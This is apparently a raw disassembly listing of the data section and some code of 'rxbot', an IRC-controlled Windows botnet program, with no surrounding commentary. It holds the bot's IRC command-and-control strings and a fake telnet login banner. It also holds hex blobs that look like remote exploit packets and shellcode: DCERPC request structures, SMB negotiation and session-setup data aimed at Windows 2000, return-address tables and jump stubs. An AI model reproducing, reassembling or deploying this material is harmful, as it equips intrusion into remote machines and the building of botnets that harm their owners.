dword_41490C	dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
					; DATA XREF: sub_407A76+D90o
		dd 20657079h, 2343003h,	2036425h, 64646120h, 73736572h
		dd 3003203Ah, 73250234h, 203h
dword_414940	dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
					; DATA XREF: sub_407A76+D71o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_414964	dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
					; DATA XREF: sub_407A76+D42o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_414988	dd 3Ch			; DATA XREF: sub_407A76+D35o
					; sub_407A76+D64o ...
dword_41498C	dd 22D90h		; DATA XREF: sub_407A76+CB8r
		dd 0
dword_414994	dd 75FC4CF4h		; DATA XREF: sub_407A76+CACr
		dd 3 dup(0)
dword_4149A4	dd 54FACD0h		; DATA XREF: sub_407A76:loc_408716r
		align 10h
dword_4149B0	dd 23A8h		; DATA XREF: sub_407A76+C81r
		align 8
dword_4149B8	dd 0A6C5A0h		; DATA XREF: sub_407A76+C75r
		dd 2 dup(0)
dword_4149C4	dd 26730h		; DATA XREF: sub_407A76:loc_4086DFr
		dd 0
dword_4149CC	dd 21ABF1A9h		; DATA XREF: sub_407A76:loc_4086CDr
		dd 3 dup(0)
dword_4149DC	dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
					; DATA XREF: sub_407A76+C41o
		dd 2343003h, 30257830h,	2035832h, 63656420h, 3003203Ah
		dd 75250234h, 2E0203h
dword_414A0C	dd 13D450h		; DATA XREF: sub_407A76:loc_40869Fr
		dd 2 dup(0)
dword_414A18	dd 11E3EAF0h		; DATA XREF: sub_407A76+BD4r
		dd 2 dup(0)
dword_414A24	dd 220F0h		; DATA XREF: sub_407A76+BC8r
		dd 0
dword_414A2C	dd 119970h		; DATA XREF: sub_407A76+BBCr
		dd 2 dup(0)
dword_414A38	dd 128170h		; DATA XREF: sub_407A76:loc_408626r
		dd 2 dup(0)
dword_414A44	dd 45444F4Dh, 732520h	; DATA XREF: sub_407A76+BA6o
dword_414A4C	dd 8C770h		; DATA XREF: sub_407A76:loc_408604r
		dd 2 dup(0)
dword_414A58	dd 7FE2F929h		; DATA XREF: sub_407A76:loc_4085EBr
		dd 3 dup(0)
aDebugModeIsS_	db 'Debug mode is %s.',0 ; DATA XREF: sub_407A76+B4Fo
		align 4
aOff		db 'off',0              ; DATA XREF: sub_407A76+B49o
aOn		db 'on',0               ; DATA XREF: sub_407A76+B42o
					; sub_407A76:loc_4085CFo
		align 4
dword_414A84	dd 8FDF90h		; DATA XREF: sub_407A76:loc_4085A1r
		align 10h
dword_414A90	dd 11990h		; DATA XREF: sub_407A76:loc_408585r
		align 8
dword_414A98	dd 2FE1870h		; DATA XREF: sub_407A76:loc_408556r
		dd 2 dup(0)
dword_414AA4	dd 12E90h		; DATA XREF: sub_407A76:loc_408527r
		dd 0
dword_414AAC	dd 0A483B8h		; DATA XREF: sub_407A76:loc_4084F6r
		dd 2 dup(0)
dword_414AB8	dd 54524150h, 732520h	; DATA XREF: sub_407A76+A76o
dword_414AC0	dd 127AF0h		; DATA XREF: sub_407A76:loc_4084D8r
		dd 2 dup(0)
dword_414ACC	dd 166200h		; DATA XREF: sub_407A76:loc_4084B3r
		dd 2 dup(0)
dword_414AD8	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_407A76:loc_4084A4o
					; sub_409918+44Do
dword_414AE4	dd 8DA00h		; DATA XREF: sub_407A76:loc_408465r
		align 10h
aQuitSRemoved_	db 'QUIT :%s removed.',0 ; DATA XREF: sub_407A76+9D9o
		align 4
dword_414B04	dd 22FC130h		; DATA XREF: sub_407A76:loc_408442r
		align 10h
dword_414B10	dd 967690h		; DATA XREF: sub_407A76:loc_408423r
		dd 2 dup(0)
dword_414B1C	dd 8FD870h		; DATA XREF: sub_407A76:loc_4083FEr
		dd 2 dup(0)
dword_414B28	dd 6C6E177Ah		; DATA XREF: sub_407A76:loc_4083E2r
		dd 3 dup(0)
dword_414B38	dd 11C1E0F0h		; DATA XREF: sub_407A76:loc_4083C3r
		dd 2 dup(0)
dword_414B44	dd 7D3A3379h		; DATA XREF: sub_407A76:loc_4083AEr
		dd 3 dup(0)
dword_414B54	dd 2606B70h		; DATA XREF: sub_407A76:loc_408392r
		align 10h
dword_414B60	dd 0DD1A0h		; DATA XREF: sub_407A76:loc_40837Dr
		dd 2 dup(0)
dword_414B6C	dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
					; DATA XREF: sub_407A76+8E3o
dword_414B80	dd 0DA607ED0h		; DATA XREF: sub_407A76:loc_408345r
		align 10h
dword_414B90	dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
					; DATA XREF: sub_407A76+8B9o
		dd 2037325h, 0
dword_414BAC	dd 8FCCB0h		; DATA XREF: sub_407A76:loc_4082EAr
		dd 2 dup(0)
aItTookMeUms_	db 'It took me %ums.',0 ; DATA XREF: sub_407A76+86Do
		align 4
dword_414BCC	dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
					; DATA XREF: sub_407A76+819o
		dd 2037325h, 0
dword_414BE8	dd 0ECB0h		; DATA XREF: sub_407A76:loc_40823Dr
		align 10h
dword_414BF0	dd 2444A601h		; DATA XREF: sub_407A76:loc_408212r
		align 10h
dword_414C00	dd 1E546F56h		; DATA XREF: sub_407A76:loc_4081C6r
		dd 4 dup(0)
dword_414C14	dd 1BB4B511h		; DATA XREF: sub_407A76+737r
		dd 3 dup(0)
dword_414C24	dd 15A600h		; DATA XREF: sub_407A76+72Br
		align 10h
dword_414C30	dd 23002600h		; DATA XREF: sub_407A76+71Fr
		dd 2 dup(0)
dword_414C3C	dd 2692600h		; DATA XREF: sub_407A76:loc_408189r
		dd 2 dup(0)
dword_414C48	dd 23769570h		; DATA XREF: sub_407A76:loc_40816Ar
		dd 2 dup(0)
dword_414C54	dd 203A5049h, 2343003h,	2037325h, 0 ; DATA XREF: sub_407A76+6EAo
dword_414C64	dd 2538h		; DATA XREF: sub_407A76:loc_408153r
		dd 0
dword_414C6C	dd 24EF1110h		; DATA XREF: sub_407A76:loc_40813Ar
		dd 2 dup(0)
dword_414C78	dd 0F3567F0h		; DATA XREF: sub_407A76:loc_40812Fr
		dd 2 dup(0)
dword_414C84	dd 0F34D1A0h		; DATA XREF: sub_407A76:loc_40810Er
		align 10h
dword_414C90	dd 5F835274h		; DATA XREF: sub_407A76:loc_4080F6r
		align 10h
dword_414CA0	dd 5F837B94h		; DATA XREF: sub_407A76:loc_4080C3r
		align 10h
dword_414CB0	dd 9C263Dh		; DATA XREF: sub_407A76:loc_4080A1r
		align 10h
dword_414CC0	dd 1839E0F1h		; DATA XREF: sub_407A76:loc_40807Fr
		align 10h
dword_414CD0	dd 154BF0h		; DATA XREF: sub_407A76:loc_40805Dr
		dd 2 dup(0)
dword_414CDC	dd 1DA334F1h		; DATA XREF: sub_407A76+5C8r
		dd 3 dup(0)
dword_414CEC	dd 0FB98730h		; DATA XREF: sub_407A76+5BCr
		dd 2 dup(0)
dword_414CF8	dd 7DB90h		; DATA XREF: sub_407A76:loc_408026r
		dd 2 dup(0)
dword_414D04	dd 0E64F0h		; DATA XREF: sub_407A76:loc_408002r
		align 10h
dword_414D10	dd 2D10h		; DATA XREF: sub_407A76:loc_407FDAr
		align 8
aThisBuildIsBro	db 'This build is broken and will not function properly.',0
					; DATA XREF: sub_407A76+522o
		align 10h
aThisBuildIsFul	db 'This build is fully functional',0 ; DATA XREF: sub_407A76+51Bo
		align 10h
dword_414D70	dd 2343003h, 4B4F5242h,	2034E45h, 0 ; DATA XREF: sub_407A76+514o
dword_414D80	dd 2333003h, 2034B4Fh, 0 ; DATA	XREF: sub_407A76+504o
dword_414D8C	dd 0BFh, 0		; DATA XREF: sub_407A76+4F4o
dword_414D94	dd 0DEC0878Bh, 0BEFCC6A0h, 0A68AEFE1h, 0B9938EAAh, 0DBEBEBFEh
					; DATA XREF: sub_407A76+4E2o
		dd 0D990DC88h, 0A88CEF99h, 2 dup(0)
dword_414DB8	dd 41AC160h		; DATA XREF: sub_407A76:loc_407F4Ar
		dd 2 dup(0)
dword_414DC4	dd 0EBF684B8h		; DATA XREF: sub_407A76:loc_407F31r
		dd 3 dup(0)
dword_414DD4	dd 2EE64F71h		; DATA XREF: sub_407A76:loc_407EE1r
		dd 3 dup(0)
dword_414DE4	dd 0BDDC8D9Ch, 0BCF4AE92h, 0D4AE9AF4h, 0BAFEF6D0h, 0CFABFC87h
					; DATA XREF: sub_407A76+386o
		dd 0CE86D1E3h, 2 dup(0)
dword_414E04	dd 92FFA79Ah, 0A7D287A1h, 0F39BA5CBh, 0A6E0D4E7h, 2 dup(0)
					; DATA XREF: sub_407A76+2DAo
dword_414E1C	dd 0AFDE818Dh, 0B2ECA782h, 0E59687E5h, 8DDACFF6h, 0ACC4BAB8h
					; DATA XREF: sub_407A76+2C9o
		dd 98DA88BCh, 0C8DFB9CEh, 97EAFCD0h, 95FDBCACh,	85DBB0A1h
		dd 0E890A3CAh, 2 dup(0)
dword_414E50	dd 1DBA0h		; DATA XREF: sub_407A76:loc_407D31r
		align 8
dword_414E58	dd 183B7CF1h		; DATA XREF: sub_407A76:loc_407D18r
		dd 3 dup(0)
dword_414E68	dd 183ED1A1h		; DATA XREF: sub_407A76:loc_407CFCr
		dd 3 dup(0)
dword_414E78	dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
					; DATA XREF: sub_407A76+27Co
		dd 3203A64h, 25023430h,	20373h
dword_414E98	dd 2450F230h		; DATA XREF: sub_407A76:loc_407C5Er
		dd 2 dup(0)
dword_414EA4	dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
					; DATA XREF: sub_407A76+1DEo
		dd 3D203A64h, 2343003h,	2037325h, 0
dword_414EC8	dd 232320h		; DATA XREF: sub_407A76+15Fo
dword_414ECC	dd 22D8F230h		; DATA XREF: sub_407A76:loc_407B8Ar
		dd 2 dup(0)
dword_414ED8	dd 0A90090h		; DATA XREF: sub_407A76:loc_407B6Br
		dd 2 dup(0)
dword_414EE4	dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
					; DATA XREF: sub_407A76+EBo
		dd 2037325h, 0
dword_414F00	dd 4730930h		; DATA XREF: sub_407A76:loc_407B31r
		dd 2 dup(0)
dword_414F0C	dd 4B43494Eh, 732520h	; DATA XREF: sub_407A76:loc_407B16o
					; sub_409277+F0o ...
dword_414F14	dd 0B36E0h		; DATA XREF: sub_407A76:loc_407AECr
		align 10h
dword_414F20	dd 97769270h		; DATA XREF: sub_407A76+57r
		align 10h
aLinkLink@linkP	db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_408D81+53o
					; sub_409918+631o
		align 10h
asc_414F50:				; DATA XREF: sub_408D81+29o
		unicode	0, <;>,0
asc_414F54	db '<=',0               ; DATA XREF: sub_408E1A+2F2o
		align 4
asc_414F58	db '>=',0               ; DATA XREF: sub_408E1A+2C2o
		align 4
asc_414F5C:				; DATA XREF: sub_408E1A+2AAo
		dw 3Eh
		unicode	0, <>,0
asc_414F60	db '!=',0               ; DATA XREF: sub_408E1A+28Eo
		align 4
asc_414F64	db '==',0               ; DATA XREF: sub_408E1A+272o
		align 4
aIpv6		db '$ipv6',0            ; DATA XREF: sub_408E1A+181o
					; sub_408E1A+253o
		align 10h
aFirewall	db '$firewall',0        ; DATA XREF: sub_408E1A+166o
					; sub_408E1A+238o
		align 4
aLatency	db '$latency',0         ; DATA XREF: sub_408E1A+14Bo
					; sub_408E1A+21Do
		align 4
aFree_0		db '$free',0            ; DATA XREF: sub_408E1A+130o
					; sub_408E1A+202o
		align 10h
aVersion	db '$version',0         ; DATA XREF: sub_408E1A+115o
					; sub_408E1A+1E7o
		align 4
aUptime		db '$uptime',0          ; DATA XREF: sub_408E1A+EEo
					; sub_408E1A+1C0o
a32s16s32s	db '%32s %16s %32s',0   ; DATA XREF: sub_408E1A+9Co
		align 4
asc_414FB4	db '&&',0               ; DATA XREF: sub_408E1A+6Ao
		align 4
asc_414FB8:				; DATA XREF: sub_408E1A+21o
		unicode	0, <)>,0
aExecutingComma	db 'Executing command(s): %s',0 ; DATA XREF: sub_409149+46o
		align 4
a6667		db '6667',0             ; DATA XREF: sub_4091AD:loc_4091D8o
		align 10h
aCSCCUCUSCCC	db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_409277+230o
					; sub_409918+384o
		align 4
aG:					; DATA XREF: sub_409277+1AFo
					; sub_409918+303o
		unicode	0, <G>,0
aA:					; DATA XREF: sub_409277+1A3o
					; sub_409918+2F7o
		unicode	0, <A>,0
aB:					; DATA XREF: sub_409277+19Co
					; sub_409918+2F0o
		unicode	0, <B>,0
aUnk		db 'UNK',0              ; DATA XREF: sub_409277+167o
					; sub_409918+2BCo
aUserSSSS	db 'USER %s %s %s :%s',0 ; DATA XREF: sub_409277+C7o
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_409277+3Do
aNoticeS	db 'NOTICE %s :',0      ; DATA XREF: sub_4095E7+16o
					; sub_4096CB+2Eo
aPrivmsgS	db 'PRIVMSG %s :',0     ; DATA XREF: sub_409659+16o
					; sub_4096CB:loc_409720o
		align 10h
dword_415040	dd 1			; DATA XREF: sub_4096CB+CDo
dword_415044	dd 7373656Dh, 20656761h, 0 ; DATA XREF:	sub_4096CB+8Ao
dword_415050	dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_4096CB+4Eo
dword_415060	dd 56495250h, 2047534Dh, 3A207325h, 1 ;	DATA XREF: sub_4096CB+3Eo
aMirc		db 'mIRC',0             ; DATA XREF: sub_409835+2o
					; sub_409843+1Co
		align 4
asc_415078:				; DATA XREF: sub_409918+890o
		unicode	0, <*>,0
aNotice		db 'NOTICE',0           ; DATA XREF: sub_409918:loc_409FE7o
					; sub_40A236+70o
		align 4
asc_415084	db '][',0               ; DATA XREF: sub_409918+607o
		align 4
a332		db '332',0              ; DATA XREF: sub_409918:loc_409E8Eo
aNick		db 'NICK',0             ; DATA XREF: sub_409918:loc_409E54o
		align 4
a@:					; DATA XREF: sub_409918+4E4o
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_409918:loc_409DDEo
					; sub_40A236+2Fo
a451		db '451',0              ; DATA XREF: sub_409918:loc_409DC1o
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_409918+487o
aModeSXi	db 'MODE %s +xi',0      ; DATA XREF: sub_409918+437o
a001		db '001',0              ; DATA XREF: sub_409918:loc_409D19o
aModeSSmntu	db 'MODE %s +smntu',0   ; DATA XREF: sub_409918+3F7o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_409918:loc_409CDAo
		align 4
aError		db 'ERROR',0            ; DATA XREF: sub_409918:loc_409CBBo
		align 4
a433		db '433',0              ; DATA XREF: sub_409918:loc_409B57o
dword_4150E0	dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_409918+22Bo
aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: sub_409918:loc_409B3Eo
dword_415100	dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
					; DATA XREF: sub_409918+211o
		dd 73256433h, 69572820h, 2932336Eh, 1
dword_415124	dd 4950013Ah, 1474Eh	; DATA XREF: sub_409918+1DAo
dword_41512C	dd 4950013Ah, 474Eh	; DATA XREF: sub_409918+1C7o
dword_415134	dd 4556013Ah, 4F495352h, 14Eh ;	DATA XREF: sub_409918+1B4o
dword_415140	dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_409918:loc_409AB9o
aSend		db 'SEND',0             ; DATA XREF: sub_409918+AFo
		align 4
dword_415154	dd 4344013Ah, 43h	; DATA XREF: sub_409918+8Fo
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_409918+61o
					; sub_409918+69Eo ...
aMode		db 'MODE',0             ; DATA XREF: sub_409918+4Ao
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_409918:loc_40994Bo
		align 4
aPongS		db 'PONG %s',0          ; DATA XREF: sub_409918+24o
aPing		db 'PING',0             ; DATA XREF: sub_409918+Fo
		align 4
aLinkLink@link	db 'link!link@link',0   ; DATA XREF: sub_40A236:loc_40A32Bo
		align 4
byte_415194	db 41h			; DATA XREF: sub_40A42C:loc_40A43Ar
					; sub_40A51A+15r ...
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4
unk_4151D8	db  2Dh	; -		; DATA XREF: .packed:0040B6A8o
					; sub_40E6A0+52o
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 2Eh,	3, 30h
		db  34h	; 4
		db 2, 25h, 73h
		db    3
		db 2, 2Dh, 20h
aU_RawTransferT	db '%u. Raw transfer to %s complete.',0
		align 10h
aTelnet		db 'telnet',0           ; DATA XREF: .packed:0040B6A2o
		align 4
aUserAccessVeri	db 0Dh,0Ah		; DATA XREF: .packed:0040B680o
		db 0Dh,0Ah
		db 'User Access Verification',0Dh,0Ah
		db 0Dh,0Ah
		db 'Password:',0
		align 4
dword_415244	dd 0FF01FBFFh, 0FDFF03FBh, 1FFDFF18h, 0	; DATA XREF: .packed:0040B651o
dword_415254	dd 1130h, 0		; DATA XREF: sub_40B6BE+51o
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
dword_415280	dd 77777777h		; DATA XREF: .packed:0040B927r
		dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h
		dd 77F9D463h
dword_41529C	dd 750362C3h		; DATA XREF: .packed:0040B939r
		dd 75035173h, 3	dup(717564B8h)
dword_4152B0	dd 71AB7BFBh		; DATA XREF: .packed:0040B94Br
		dd 773AD507h, 7C941EEDh
dword_4152BC	dd 77DB565Ch		; DATA XREF: .packed:loc_40B954r
		dd 77FD1F89h, 2	dup(77E216B8h)
; ---------------------------------------------------------------------------

loc_4152CC:				; DATA XREF: .packed:0040B910o
					; sub_40BAAF+D7o ...
		jmp	short loc_4152D2
; ---------------------------------------------------------------------------
		align 10h

loc_4152D0:				; DATA XREF: .packed:0040B8EFo
		xor	ebp, [esi]

loc_4152D2:				; CODE XREF: .packed:loc_4152CCj
		aaa
		xor	ch, [esi]
		xor	[esi], ch
		xor	[eax], al
; ---------------------------------------------------------------------------
		db 3 dup(0)
a131_131_131_13	db '131.131.131.131',0  ; DATA XREF: .packed:0040B8E4o
aRxbot_paradise	db 'rxbot_paradise',0   ; DATA XREF: .packed:0040B8D1o
		align 4
a121204131313	db '12/12/04 13:13:13',0 ; DATA XREF: .packed:0040B8BEo
		align 10h
aRxbotWasHere	db 'rxbot was here',0   ; DATA XREF: .packed:0040B8A8o
		align 10h
aRxbot		db 'rxbot',0            ; DATA XREF: .packed:0040B895o
		align 4
dword_415328	dd 2710h		; DATA XREF: .packed:0040B858o
					; sub_40BAAF+88o
dword_41532C	dd 1130h, 0		; DATA XREF: sub_40B99D+51o
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1
		db 0
byte_415355	db 3 dup(0)		; DATA XREF: .packed:off_414108o
dword_415358	dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch,	5E21B8EFh
					; DATA XREF: sub_40BAAF+C4o
		dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
dword_41537C	dd 2 dup(4A9D5E21h), 0	; DATA XREF: sub_40BAAF+9Bo
dword_415388	dd 77777777h		; DATA XREF: sub_40BAAF+EDr
		dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h
		dd 77F32836h
dword_4153A4	dd 750362C3h		; DATA XREF: sub_40BAAF+FEr
		dd 75035173h, 3	dup(7C2FA0F7h)
dword_4153B8	dd 71AB7BFBh		; DATA XREF: sub_40BAAF+10Fr
		dd 71AB7BFBh, 7C941EEDh
dword_4153C4	dd 77E216B8h		; DATA XREF: sub_40BAAF:loc_40BBC7r
		dd 77FD1F89h, 2	dup(77E216B8h)
dword_4153D4	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_40BC10+38o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:			; DATA XREF: sub_40BCBD+94o
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		dd 0
dword_415454	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40BCBD+6Co
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4157B8	dd 20h,	0		; DATA XREF: sub_40BCBD+81o
		dd 20h,	5C005Ch, 0
aC1234561111111:			; DATA XREF: sub_40BCBD+CCo
		unicode	0, <\C$\123456111111111111111.doc>,0
		dd 0
dword_41580C	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40BCBD+E5o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
dword_415840	dd 2180310h		; DATA XREF: sub_40BCBD+13Co
dword_415844	dd 10016C6h		; DATA XREF: sub_40BCBD+133o
dword_415848	dd 100139Dh		; DATA XREF: sub_40BCBD+12Ao
dword_41584C	dd 1001C55h		; DATA XREF: sub_40BCBD+113o
dword_415850	dd 1001C98h		; DATA XREF: sub_40BCBD:loc_40BDD7o
dword_415854	dd 5F5C0A0Dh, 2E2Fh	; DATA XREF: sub_40BCBD+Eo
					; sub_40BE68+53o ...
dword_41585C	dd 30B0005h, 10h, 48h, 0 ; DATA	XREF: sub_40BE68+14o
		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4158A8	dd 3000005h, 10h, 5 dup(0) ; DATA XREF:	sub_40BE68+11Eo
dword_4158C4	dd 10005h, 2 dup(0)	; DATA XREF: sub_40BE68+131o
		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_41590C	dd 0			; DATA XREF: sub_40BE68+266o
		dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------

loc_415940:				; DATA XREF: sub_40BE68+100o
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4

loc_41594C:				; DATA XREF: sub_40BE68+B0o
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4

loc_415958:				; DATA XREF: sub_40BE68+154o
		jmp	short loc_41596A
; ---------------------------------------------------------------------------
		jmp	short loc_415975
; ---------------------------------------------------------------------------
		align 10h

loc_415960:				; DATA XREF: sub_40BE68+1B3o
		jmp	short near ptr word_415966
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_415966	dw 0			; CODE XREF: .packed:loc_415960j
; ---------------------------------------------------------------------------

loc_415968:				; DATA XREF: sub_40BE68+1D6o
		jmp	short near ptr word_41596E
; ---------------------------------------------------------------------------

loc_41596A:				; CODE XREF: .packed:loc_415958j
					; .packed:loc_415988j
		jmp	short loc_415970
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_41596E	dw 0			; CODE XREF: .packed:loc_415968j
; ---------------------------------------------------------------------------

loc_415970:				; CODE XREF: .packed:loc_41596Aj
					; DATA XREF: sub_40BE68+1FCo
		jmp	short near ptr loc_415975+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------

loc_415975:				; CODE XREF: .packed:0041595Aj
					; .packed:loc_415970j
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_415978	dd offset loc_410058+4	; DATA XREF: sub_40BE68+24Fo
		dd 2 dup(0)
dword_415984	dd 77F33723h		; DATA XREF: sub_40BE68+17Ao
; ---------------------------------------------------------------------------

loc_415988:				; DATA XREF: sub_40BE68+190o
		jmp	short loc_41596A
; ---------------------------------------------------------------------------
		dw 7FFDh
; ---------------------------------------------------------------------------

loc_41598C:				; DATA XREF: sub_40BE68+167o
		lahf
		jnz	short loc_4159A7

loc_41598F:				; DATA XREF: sub_40BE68+F0o
		add	[ecx+1Ch], bl

loc_415992:				; CODE XREF: .packed:loc_41599Cj
		add	[ecx], al

loc_415994:				; DATA XREF: sub_40BE68+D0o
		or	ecx, [ebx]
		sbb	eax, [eax]

loc_415998:				; DATA XREF: sub_40BE68+E0o
		jmp	short near ptr dword_4159A0
; ---------------------------------------------------------------------------
		align 4

loc_41599C:				; DATA XREF: sub_40BE68+C0o
		jmp	short loc_415992
; ---------------------------------------------------------------------------
		align 10h
dword_4159A0	dd 85000000h		; CODE XREF: .packed:loc_415998j
					; DATA XREF: sub_40C501+4Fo
; ---------------------------------------------------------------------------
		call	dword ptr [ebx+4Dh]

loc_4159A7:				; CODE XREF: .packed:0041598Dj
		inc	edx
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_415A2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C501+8Co
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_415AD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40C501+BFo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
